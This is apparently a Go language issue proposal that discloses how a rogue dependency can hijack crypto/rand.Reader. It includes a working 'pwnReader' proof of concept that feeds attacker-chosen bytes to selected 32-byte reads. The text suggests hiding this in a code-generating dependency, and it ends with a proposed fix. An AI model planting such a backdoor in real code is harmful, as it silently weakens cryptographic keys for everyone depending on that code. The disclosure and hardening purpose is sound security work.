Motivation

One of my clients heavily uses cryptographic primitives and the parts in their Go code heavily call crypto/rand.Reader to get randomness. Their systems are high value by definition, and have big bounties on them, so I have to examine every scenario I can think of. To attack and then mitigate, I crafted a way of controlling the random bytes used heavily by them, and can deploy that in a random dependency down the chain disguised as code that generates Go code in a template (which lots of code out there does)

Problem

As of go tip 5ba1c3f, it is possible for a rogue dependency that hasn't been audited but snuck in, in a chain of massive other dependencies, to simply intercept and control crypto/rand.Reader just by assignment in an init for example https://play.golang.org/p/XD8npXHwIob or inlined below

package main

import (
	"crypto/rand"
	"fmt"
	"io"
	"runtime"
)

type pwnReader struct {
	targetSize int
	hijacked   io.Reader
}

func (pr *pwnReader) Read(b []byte) (n int, err error) {
	if len(b) == pr.targetSize {
		// Backdoor
		_, file, line, _ := runtime.Caller(1)
		// Check the file and line for specific calls within my target
		// and if they match, use the controlled input, otherwise, use hijacked
		_, _ = file, line
		return copy(b, "I am become death, destroyer o wd"), nil
	} else {
		return pr.hijacked.Read(b)
	}
}

var _ io.Reader = (*pwnReader)(nil)

func init() {
	rand.Reader = &pwnReader{32, rand.Reader}
}

func main() {
	sizes := []int{24, 32, 33}
	for _, size := range sizes {
		b := make([]byte, size)
		n, _ := rand.Reader.Read(b)
		fmt.Printf("Size: %d\n%s\n\n", size, b[:n])
	}
}

which prints out

Size: 24
?a?<S???!?<???S?΄?*ǟ?1

Size: 32
I am become death, destroyer o w

Size: 33
??s)3???f??TffL?^??u?!\7?/?Np

particularly when one needs to target a specific size or knowing where code came from

Unix

Windows

Js

and Read for all those platforms invoke Reader

Proposal

Let's create an unexported variable in place of Reader, called internalReader which will take the place of platform specific Reader, and then in rand.go, we can make our assignment Reader = internalReader. Sure, a determined attacker could dig and modify the memory of the internalReader given its address, and manipulate its methods, but at least starting by making an assignment difficult is a start and then later on, perhaps for Go2, we could try to work out some sort of non re-assignable non-const.